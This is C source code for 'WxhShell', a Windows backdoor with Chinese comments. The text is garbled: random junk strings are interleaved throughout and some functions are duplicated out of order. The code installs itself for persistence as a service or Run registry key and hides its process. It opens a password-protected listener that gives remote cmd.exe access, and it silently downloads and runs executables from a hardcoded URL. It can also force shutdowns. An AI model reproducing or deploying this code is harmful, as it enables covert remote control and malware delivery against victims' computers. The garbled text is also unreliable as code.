if (!NtQueryInformationProcess) return 0; ~teW1lMu( RGuHXf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j3-6WUO if(!hProcess) return 0; >^GCSPe g E+OQWu if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z3~*R7G8> q>4i0p8^ CloseHandle(hProcess); F1*rUsRKN mqT0^TNPcl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `e=n(D if(hProcess==NULL) return 0; 9<c4y4#y 3C[4!>| HMODULE hMod; w$:)wyR- char procName[255]; =usDI<3r unsigned long cbNeeded; !Lug5U} )t|Q7$v1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kf^F#dA ZDJWd=E CloseHandle(hProcess); KY&,(z 5GL+j%7 if(strstr(procName,"services")) return 1; // 以服务启动 G-?9;w'@ b<78K5' return 0; // 注册表启动 gO!h<1 ! } je3n'^m q=i<vcw
// 主模块 LK/V]YG int StartWxhshell(LPSTR lpCmdLine) n$Fm~iPo, { H{zuIN/.1 SOCKET wsl; W2Z]?l;vQQ BOOL val=TRUE; Jxw:Jk
~ int port=0; :I(gz~u6 struct sockaddr_in door; )nxIxr0d- G6VHl:e7z if(wscfg.ws_autoins) Install(); ;iNx@tz4 '[8jm=Q#' port=atoi(lpCmdLine); o`! :Q!+ Fe<
t@W if(port<=0) port=wscfg.ws_port; JlGD.!` 7]zZha4X WSADATA data; 5mVu]T` if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !sQ8,l0h EZRZ)h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "FvlZRfXj setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B F|FW door.sin_family = AF_INET; OBQ!0NM_b door.sin_addr.s_addr = inet_addr("127.0.0.1"); {;M/J door.sin_port = htons(port); iPpJ`i#@+ _cN)q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (kOv closesocket(wsl); yS3s5C{C return 1; v 8a } y'/9KrV
T CoXL;\ if(listen(wsl,2) == INVALID_SOCKET) { L%Q *\d closesocket(wsl); 08jQq# return 1; 1A.\Ao } B4Oa7$M/U Wxhshell(wsl); o?+e_n= WSACleanup(); &\[J EQO7:vb return 0; *3($s_r> )/N! {`.9 } Mg/2w bA,D] // 以NT服务方式启动 wVtBeZa VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Ws2g*i { Y2&6xTh DWORD status = 0; B*N 8:u DWORD specificError = 0xfffffff; lf#six ]+9:i!s serviceStatus.dwServiceType = SERVICE_WIN32; U5
"v1"Ec serviceStatus.dwCurrentState = SERVICE_START_PENDING; !Sh5o'D28 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0N_Da N serviceStatus.dwWin32ExitCode = 0; H/{3
i serviceStatus.dwServiceSpecificExitCode = 0; h9n CSj serviceStatus.dwCheckPoint = 0; 2F7R,rr
serviceStatus.dwWaitHint = 0; \Da$bJ L-dKZ8Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I!'(>VlP7 if (hServiceStatusHandle==0) return; tRCd(Z,WY 3l[hkRFu` status = GetLastError(); IxR:a( if (status!=NO_ERROR) LnX^*;P5t { -;z\BW5y serviceStatus.dwCurrentState = SERVICE_STOPPED; dUSuhT serviceStatus.dwCheckPoint = 0; 5L#M7E serviceStatus.dwWaitHint = 0; x#j_}L!V; serviceStatus.dwWin32ExitCode = status; O v6=|]cW serviceStatus.dwServiceSpecificExitCode = specificError; Big-)7?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YO+d+5 return; q[K)bg{HB } m:CpDxzbf qChPT :a serviceStatus.dwCurrentState = SERVICE_RUNNING; CP^^ct-C serviceStatus.dwCheckPoint = 0; j<?4N*S serviceStatus.dwWaitHint = 0; `<G+N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6dMpd4"\ } 5]JXXdt $y}Tbm // 处理NT服务事件,比如:启动、停止 +P.Ir VOID WINAPI NTServiceHandler(DWORD fdwControl)
^k=[P { 2c]O Mtk switch(fdwControl) -tZb\4kh { m%puD9 case SERVICE_CONTROL_STOP: ?zqXHv#x serviceStatus.dwWin32ExitCode = 0; ]dFWIvC serviceStatus.dwCurrentState = SERVICE_STOPPED; [MG:Ym).2` serviceStatus.dwCheckPoint = 0; T^t`Hp serviceStatus.dwWaitHint = 0; #D8)rs.9 { d[de5Xra SetServiceStatus(hServiceStatusHandle, &serviceStatus); QKxuvW } d"a`?+(Q return; ~Tolz H! case SERVICE_CONTROL_PAUSE: ?jnEHn serviceStatus.dwCurrentState = SERVICE_PAUSED; UPsh Y break; HAXx`r< case SERVICE_CONTROL_CONTINUE: ruVm8BO serviceStatus.dwCurrentState = SERVICE_RUNNING; UF4QPPH4 break; xi0&"?7la case SERVICE_CONTROL_INTERROGATE: '_8Vay~ break; S5vJC-" }; &Jz%L^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); iC">F.9# } @EvnV. 3[$VW+YV // 标准应用程序主函数 4*]`s|fbu int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [@)|j=:i: { &q+ %OPV XOoND // 获取操作系统版本 <W1!n$V ] OsIsNt=GetOsVer(); aOOY_S
E GetModuleFileName(NULL,ExeFile,MAX_PATH); uG<+IT|x b^ZrevM // 从命令行安装 Vs(;al' if(strpbrk(lpCmdLine,"iI")) Install(); XyhdsH5%3! `S2=LJ // 下载执行文件 :98Pe6 if(wscfg.ws_downexe) { F!U+IztZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w% M0Mu WinExec(wscfg.ws_filenam,SW_HIDE); 0&Qn7L } 6sntwT"? .w`8_v &Y if(!OsIsNt) { #nnP.t m // 如果时win9x,隐藏进程并且设置为注册表启动 rv^j&X+EH HideProc(); yRAb
HG,c StartWxhshell(lpCmdLine); 5D'8 l@7 } 5s0H4 ?S else <I}k%q' if(StartFromService()) FT=w`NE,+ // 以服务方式启动 C>LkU |[ StartServiceCtrlDispatcher(DispatchTable); a/_ `1 else 4aGHks8Z,\ // 普通方式启动 c=7L)w:I StartWxhshell(lpCmdLine); K[sfsWQ. OyVp 3O return 0; -.xs=NwB.| } YoXXelO&
^ c:(HUo# FG'1;x! \wMr[_LW =========================================== P
/Js!e<\ [IMa0qs' F3+)bIz hD;[}8qN{ Iu%S><'+ W"$'$h " {>Zc#U' %c[by #include <stdio.h> 9NVe>\s_ #include <string.h> TfMuQ i'> #include <windows.h> @>JO &,od #include <winsock2.h> <V9L
AWeS #include <winsvc.h> 55fV\3F|R #include <urlmon.h> #;H+Kb5O 5`0tG; #pragma comment (lib, "Ws2_32.lib") B;L~hM #pragma comment (lib, "urlmon.lib") +oeO0 9"oc.ue.2D #define MAX_USER 100 // 最大客户端连接数 8hGp?Ihu #define BUF_SOCK 200 // sock buffer lQldW|S> #define KEY_BUFF 255 // 输入 buffer kE=}. 1)vdM(y3j #define REBOOT 0 // 重启 J'|qFS #define SHUTDOWN 1 // 关机 dtr8u m8fxDepFA #define DEF_PORT 5000 // 监听端口 GAV|x]R ?$v#;n?@I #define REG_LEN 16 // 注册表键长度 nUD)G<v #define SVC_LEN 80 // NT服务名长度 IA!( 'Ks k~h'`( // 从dll定义API A2!7a}*1( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \-gZ_>) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nxw]B"Eg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z25^+)uf*U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pS;jrq
I# j-ZKEA{:1 // wxhshell配置信息 I HgYgn struct WSCFG { 5Jlz$]f int ws_port; // 监听端口 tUH#% char ws_passstr[REG_LEN]; // 口令 Y]Td+Zi int ws_autoins; // 安装标记, 1=yes 0=no k/ls!e? char ws_regname[REG_LEN]; // 注册表键名 W/OZ}ky}^ char ws_svcname[REG_LEN]; // 服务名 ](vOH#E char ws_svcdisp[SVC_LEN]; // 服务显示名 1^TOTY char ws_svcdesc[SVC_LEN]; // 服务描述信息 .|;`qUo char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x~rIr#o int ws_downexe; // 下载执行标记, 1=yes 0=no }mzM'9JH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tgKmCI char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,~p'p) VD#`1g< }; |W<wPmW_{+ LSS3(l[,: // default Wxhshell configuration 17
Hdj struct WSCFG wscfg={DEF_PORT, @.6l^"L "xuhuanlingzhe", <p;cR` %uE 1, !7]4sXL{ "Wxhshell", uW},I6g "Wxhshell", Xkk m~sM6 "WxhShell Service", 3@f@4t@5V "Wrsky Windows CmdShell Service", E`}KVi57 "Please Input Your Password: ",
T.]+T[}! 1, a=>PGriL "http://www.wrsky.com/wxhshell.exe", UJ3l8
%/`k "Wxhshell.exe" Ii_X^)IL( }; L}7c{6!F7 A
M8bem~ // 消息定义模块 hosw :% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GSj04-T" char *msg_ws_prompt="\n\r? for help\n\r#>"; sN.h>bd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4IuQQ char *msg_ws_ext="\n\rExit."; C(qqGK{ char *msg_ws_end="\n\rQuit."; uU=O 0?'zq char *msg_ws_boot="\n\rReboot..."; a*@ 6G char *msg_ws_poff="\n\rShutdown..."; f^z/s6I0 char *msg_ws_down="\n\rSave to "; S4508l YtI2Vr/9 char *msg_ws_err="\n\rErr!"; 7vax[,aI char *msg_ws_ok="\n\rOK!"; t`1E4$Bb\ C%}}~Y char ExeFile[MAX_PATH]; gh>'O/9 int nUser = 0; <1cYz\/!M HANDLE handles[MAX_USER]; *J&XM[t int OsIsNt; LT']3w l(
/yaZ` SERVICE_STATUS serviceStatus; 1$vsw SERVICE_STATUS_HANDLE hServiceStatusHandle; dP}=cZ~ KAH9?zI)M // 函数声明 2A'!kd$2 int Install(void); |7KW'=O int Uninstall(void); PZmg7N int DownloadFile(char *sURL, SOCKET wsh); /2Q@M> int Boot(int flag); m08:EXP void HideProc(void); u?6L.^Op int GetOsVer(void); gx~79;6 int Wxhshell(SOCKET wsl); /ZlPEs) void TalkWithClient(void *cs); hDTiXc int CmdShell(SOCKET sock); :d\ne int StartFromService(void); 7/%{7q3G> int StartWxhshell(LPSTR lpCmdLine); oju)8H1o# qP@d)XRQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^o^[p % VOID WINAPI NTServiceHandler( DWORD fdwControl ); r^3/Ltd5/ 7.@$D;L9 // 数据结构和表定义 tCH4-~,# SERVICE_TABLE_ENTRY DispatchTable[] = OW!cydA- { SUwSZ@l^| {wscfg.ws_svcname, NTServiceMain}, (:v|(Gn/ {NULL, NULL} Qvo(2( }; O&h3=?O&B "e4;xU- // 自我安装 p(dJf&D int Install(void) *;b.x" { z9OhY]PPF char svExeFile[MAX_PATH]; )bN|*Bw3 HKEY key; ) inhPd strcpy(svExeFile,ExeFile); FaS}$-0 ti$d.Kc( // 如果是win9x系统,修改注册表设为自启动 p!5=1$ if(!OsIsNt) { {nTQc2T?; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uv|z
c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VQA}! p RegCloseKey(key); |L|)r)t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CGmObN8~'F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M\\t)=q RegCloseKey(key); ;o*n*N return 0; GPP{"6q5' } w;@DcX$] } pd2Lc
$O@ } d67Q@')00 else { ]XX9.Xh=- 4JF)w;X} // 如果是NT以上系统,安装为系统服务 v[4A_WjT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $qOV#,@ if (schSCManager!=0) IoUQ~JviA { 6b&<5,=d: SC_HANDLE schService = CreateService wX dtY ( Hjl{M>z schSCManager, qIE e7;DO wscfg.ws_svcname, xe ng`! wscfg.ws_svcdisp, zGKDH=Yy ; SERVICE_ALL_ACCESS, lFvRXV^+f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :6R0=oz SERVICE_AUTO_START, hF`e>?bN SERVICE_ERROR_NORMAL, M->/vi svExeFile, ={_.} NULL, ND);7 NULL, Np$peT[ NULL, ':al4m" NULL, kT|{5Kn&s NULL x0aPY;,N0 ); =~;SUO if (schService!=0) R1.No_`PHq { n27df9L CloseServiceHandle(schService); =R+z\`2 CloseServiceHandle(schSCManager); dMkDNaH, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MZ" yjQ A strcat(svExeFile,wscfg.ws_svcname); %N}OMc.W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yVds2J'w- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QUa_gYp0v RegCloseKey(key); g-B~"tp return 0; dV+%x"[: } Cm)_xnv } fa#xEWaFr CloseServiceHandle(schSCManager); V/%tFd1 } :W]IJ
mI\ } HzADz%~ \;w$"@9 return 1; ^H]q[XFR } )C>4?) ^(,qkq'u
D // 自我卸载 `<R;^qCt int Uninstall(void) p4},xQzB { eK]g FXk HKEY key; M#v#3:&5 gcLwQ- if(!OsIsNt) { MD ETAd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \)H} RegDeleteValue(key,wscfg.ws_regname); NpS*]vSO RegCloseKey(key); V?KACYd@O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t{)Z$)' RegDeleteValue(key,wscfg.ws_regname); c;\}R# RegCloseKey(key); ,PG d return 0; HEZgHL } 'n'83d)z } LR :Qb]|" } :^
9sy else { &{#4^.Q bcgh}D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OC)~psQK if (schSCManager!=0) [Yt!uhww { PbR6>' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w-~u[c if (schService!=0) z'cK,psq( { I'"b3]DXG if(DeleteService(schService)!=0) { ]-
CloseServiceHandle(schService); ce/Z[B+d CloseServiceHandle(schSCManager); f-at@C1L%L return 0; %onUCN<O` } g? 7% CloseServiceHandle(schService); 7MX nt5qUh } AiUICf?{ CloseServiceHandle(schSCManager); `o7m)T') } ` oBlv } S<RJ46 We^!(G return 1; ] r8
hMv } R-xWZRl> D9OI",h // 从指定url下载文件 ,~;_- int DownloadFile(char *sURL, SOCKET wsh) 3hzI6otKS { dWC[p HRESULT hr; +q z"+g char seps[]= "/"; Vf
Jpiv1 char *token; $s]c'D) char *file; h-"c
)?p char myURL[MAX_PATH]; &?.k-:iN char myFILE[MAX_PATH]; eK
}AVz}k JN5<=x5r strcpy(myURL,sURL); }=kf52Am,} token=strtok(myURL,seps); x50,4J%J'r while(token!=NULL) L\@SX?j { KH4
5A'o file=token; #N`~.96 token=strtok(NULL,seps); |T53m;D } G]q1_q4P1? 9v7l@2/ GetCurrentDirectory(MAX_PATH,myFILE); }*+?1kv strcat(myFILE, "\\"); h> K~<BAz' strcat(myFILE, file); .r~!d| send(wsh,myFILE,strlen(myFILE),0); :*GLLjS; send(wsh,"...",3,0); R#ayN* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sP1wO4M?{ if(hr==S_OK) f<.43kv@ return 0; ]e0yC else 0>#or$:6E return 1; sS$"6 H ]BH } Fv n:V\eb %vPs38Fks // 系统电源模块 P19nF[A int Boot(int flag) [da,SM { 1i;-mYGaMn HANDLE hToken; (<?6X9F:N TOKEN_PRIVILEGES tkp; !mFx= + }kg?A oo if(OsIsNt) { 'I|A*rO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z@E-pYV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !;'.mMO&% tkp.PrivilegeCount = 1; ,fS}cpV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &
[)1LRt_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MB423{j if(flag==REBOOT) { W@NM~+)e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !,}W|(P) return 0; -uZ bVd } ZKKz?reM' else { Tjo
K]] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +^% y&8e return 0; A|sTnhp~ } :>gzWVE< } 5>.)7D% else { /s.O3x._' if(flag==REBOOT) { $x&@!/&|pv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uPk`9c52% return 0; b#p)bcz!I } 6Q]c]cCu else { X+;F5b9z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %OW LM return 0; ~2xC.DF_N } !4uTi [e } d#:&Uw Sfc0 ~1 return 1; S -j<O&h~C } SX)giQLU ?qr-t+ // win9x进程隐藏模块 l,}{Y4\G void HideProc(void) #yZZ$XO k { a
p-\R *<*{gO?Q4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZbTU1Y/'
if ( hKernel != NULL ) bX#IE[Yp} { '$u3i
#.\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y3T-^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;=X6pK FreeLibrary(hKernel); m7X&"0X } *OU>s;"$ 0wZ_;FN*- return; 0T 2h3, } e*_8B2da NVx`'Il8
" // 获取操作系统版本 |K?fVL int GetOsVer(void) |+Z,
7~! { !=C4=xv OSVERSIONINFO winfo; FUzIuz 6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q+XL,E GetVersionEx(&winfo); qq}EXq ^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [ P\3XSR return 1; a,o)i8G9R< else \3dMA_5 return 0; $|.x !sA } <mlQn?u dDN#>| // 客户端句柄模块 @`2<^-r\ int Wxhshell(SOCKET wsl) v 1Yf:c { y
XZZ)i_ SOCKET wsh; FRI<A8 struct sockaddr_in client; <{m!.9g9 DWORD myID; ^
ab%Mbb :$d3}TjsA+ while(nUser<MAX_USER) ~rEU83 { P0U=lj/b int nSize=sizeof(client); N'R^S98x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DG8]FhD^b if(wsh==INVALID_SOCKET) return 1; yA*~O$~Y N8(xz-6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ixm<wKwW# if(handles[nUser]==0) c38RE,4U closesocket(wsh); <4}zl'. else \~:Kp
Kq nUser++; '5wa"/ ?w } h!56?4,%Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9F)v= \1D~4Gz6} return 0; ju8tNL,J } p?X.I]=vRv pI7\]e // 关闭 socket fI[tU(x void CloseIt(SOCKET wsh) aWek<Y~+ { v=nq P{ closesocket(wsh); '-3AWBWI1 nUser--; :FwXoJc_+5 ExitThread(0); iaXNf
])? } OQaM4 7" x3T)/'( // 客户端请求句柄 raY5 nc{ void TalkWithClient(void *cs) 4q[C'
J { w=d#y
)1 ElhTB SOCKET wsh=(SOCKET)cs; 7{f&L' char pwd[SVC_LEN]; @/H1}pM~ char cmd[KEY_BUFF]; <ro0}%-z>M char chr[1]; is?`tre\P int i,j; hXM8`iFW5 53P\OG^G` while (nUser < MAX_USER) { @gENv~m<OI m9ts&b+TE if(wscfg.ws_passstr) { 7}-.U=tnP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ya*lq!
u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KCJ zE> //ZeroMemory(pwd,KEY_BUFF); 2_;.iH
6 i=0; i;lzFu)G while(i<SVC_LEN) { im9 B=D &+6XdhX // 设置超时 QZef= fd_set FdRead; #9}KC 9f struct timeval TimeOut; 5p"n g8nR FD_ZERO(&FdRead); ]Gow FD_SET(wsh,&FdRead); ^i_mGeu TimeOut.tv_sec=8; 1QtT*{zm$F TimeOut.tv_usec=0; 8Fx~i#F T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1c&/&6#5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T[U&Y`3g ~[Mk QJxe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Cke(G pwd=chr[0]; /@R|*7K;9 if(chr[0]==0xd || chr[0]==0xa) { O7ceSz pwd=0; GBtBmV/` break; ySP1WK } \6)l(b; i++; Sd'
uXX@ } #tN)OZA |!8[Vg^Wh // 如果是非法用户,关闭 socket #<0%_Ca if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tvP_LN MF } ?'CIt5n+\{ [%YA42_`LD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C>$5<bx send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z/sB72K1 i96Pel while(1) { Z66akr LkMhS0?(T ZeroMemory(cmd,KEY_BUFF); yU\&\fD>j Nz#T)MGO` // 自动支持客户端 telnet标准 Dk&cIZ43 j=0; JTNQz while(j<KEY_BUFF) { jU)r~QhN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `"H!=` cmd[j]=chr[0]; hdW",Bf' if(chr[0]==0xa || chr[0]==0xd) { Zq2dCp% cmd[j]=0; UMm<HQ break; upQ:C>S } '{\VOU j++; yX$I<L<Suz } ?}m/Q"!1 cn v4!c0 // 下载文件 cE/7B'cR if(strstr(cmd,"http://")) { M<r'j $g send(wsh,msg_ws_down,strlen(msg_ws_down),0); h/5n+*x( if(DownloadFile(cmd,wsh)) W tnZF]1:u send(wsh,msg_ws_err,strlen(msg_ws_err),0); a)MjX<y else Sh=E.! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I$\dT1m$ } dD1`[% else { mwZesSxB_ Jn +[:s. switch(cmd[0]) { El Z'/l*\ x|_%R
v // 帮助 }+nC}A"BC case '?': { OwwH 45 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Oq(_I
b)9 break; 'BpK(PlUh } K0@2>nR // 安装 5UVQ48aT case 'i': { ]3
YJEP if(Install()) Vpt)?];P send(wsh,msg_ws_err,strlen(msg_ws_err),0); [VT& else QN9$n%Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dp6]!;kx break; 0J_ AX } ?O8NyCeb7 // 卸载 Cmm"K[>Rx case 'r': { 0L$v7,
5 if(Uninstall()) ~cz]Rhq send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5?)E7- else 9qIUBH e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mlb=,l break; r) T^ Td1 } 6`]R)i] // 显示 wxhshell 所在路径 9U>ID{ case 'p': { W8,XSUl char svExeFile[MAX_PATH]; 4;M strcpy(svExeFile,"\n\r"); }9R45h}{< strcat(svExeFile,ExeFile); P!,\V\TY] send(wsh,svExeFile,strlen(svExeFile),0); d@b 0z$<s break; q]0a8[]3 } 3I^KJ/)A // 重启 >Gk<[0U case 'b': { ::uD%a zd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [@"H2#CQ if(Boot(REBOOT)) *;7& send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>Y3hY else { z:^Kr"=n closesocket(wsh); &O#a==F!( ExitThread(0); b\7-u- } ~=Z&l break; qlIC{:E0 } l#7,<@) // 关机 "z69jxXo case 'd': { i6kW"5t send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S6 $S%$ if(Boot(SHUTDOWN)) ^8o'\V"m^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); H:`W\CP7_ else { #KXaz Zu" closesocket(wsh); +%>s\W+?] ExitThread(0); Gs7mO } ^OI break; wHBkaPO! } 0Q;T
<%U // 获取shell //JF$o=)D case 's': { F]
+t/ CmdShell(wsh); :)c >5 closesocket(wsh); -vGyEd7 ExitThread(0); bS&'oWy*B break; J@"Pv~R } Vt5%A}.VQ // 退出 @?aNvWeavH case 'x': { k!xi
(l<C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )"WImf:*
CloseIt(wsh); UX41/# 4 break; }1`Rq?@J } 4.,e3 // 离开 \C
ZiU3 case 'q': { x~$P.X7(~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ufv{6"sH closesocket(wsh); G 8uX[-L1 WSACleanup(); tW|B\p} exit(1); ;G0~f9 break; 7V 4iPx } Y3-Tg~/~W } wC{=o`v } "h7Z(Y YM 7P!8Gc // 提示信息 0+/L?J3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2N5N^S } |O+R%'z'< } [_|iW%<` y@~.b^?_u return;
3cT } R{#-IH=" bsr // shell模块句柄 S? r:=GS int CmdShell(SOCKET sock) ,$}P<WZMu { &m'O :ZS2 STARTUPINFO si; *W(b = u ZeroMemory(&si,sizeof(si)); /{>ds-;- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6:v8J1G(< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ) OZDq]mV PROCESS_INFORMATION ProcessInfo; U(3LeS;mr char cmdline[]="cmd"; i2N*3X~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qlPjz*<h"H return 0; !h?N)9e } tK g%5;v 5c{=/}Y // 自身启动模式 %- %/3 int StartFromService(void) mTZlrkT { ;f?OT7>kN typedef struct PM9HfQU? { 3`^]#Dh DWORD ExitStatus; DSd 5? DWORD PebBaseAddress; XiKv2vwA DWORD AffinityMask; WVy"MD DWORD BasePriority; ~`*:E'/5k] ULONG UniqueProcessId; 3i>$g3G ULONG InheritedFromUniqueProcessId; /Klwh1E } PROCESS_BASIC_INFORMATION; GZI[qKDfB i;6\tK"! PROCNTQSIP NtQueryInformationProcess; fkRb;aIl t,k9:p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h=`rZC
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uBl&|yvxB qpp:h_E HANDLE hProcess; p7.@ez ; PROCESS_BASIC_INFORMATION pbi; q69a-5q u:g(x+u4: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %6Hn1'7+v if(NULL == hInst ) return 0; Bfi9%:eG C$ZY=UXz!T g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YH<@->Ip g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8Yb/ c* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Plm3vk= #Sn&Wo if (!NtQueryInformationProcess) return 0; U> q&+: + 7-^df0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -z'@Mh|i6l if(!hProcess) return 0; @o;m!CYB Ls|;gewp if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xk7zXah V#3VRh CloseHandle(hProcess); @M,KA {e oL VtP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); egr@:5QwZ{ if(hProcess==NULL) return 0; !u7WCw.D m s-8>AW
ep HMODULE hMod; NA0hQGN} char procName[255]; G1|
Tu"
unsigned long cbNeeded; Or_9KX2 Nk=M if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U(J?Q \7og&j-h CloseHandle(hProcess); WZFV8' )'fIrBT if(strstr(procName,"services")) return 1; // 以服务启动 ke&c<3m m$@Cw Qj return 0; // 注册表启动 8,B9y D } '}!dRpx P!]DV$o // 主模块 JVXBm] int StartWxhshell(LPSTR lpCmdLine) x6$P(eN { $1?YVA7 SOCKET wsl; qa%g'sB-b BOOL val=TRUE; `
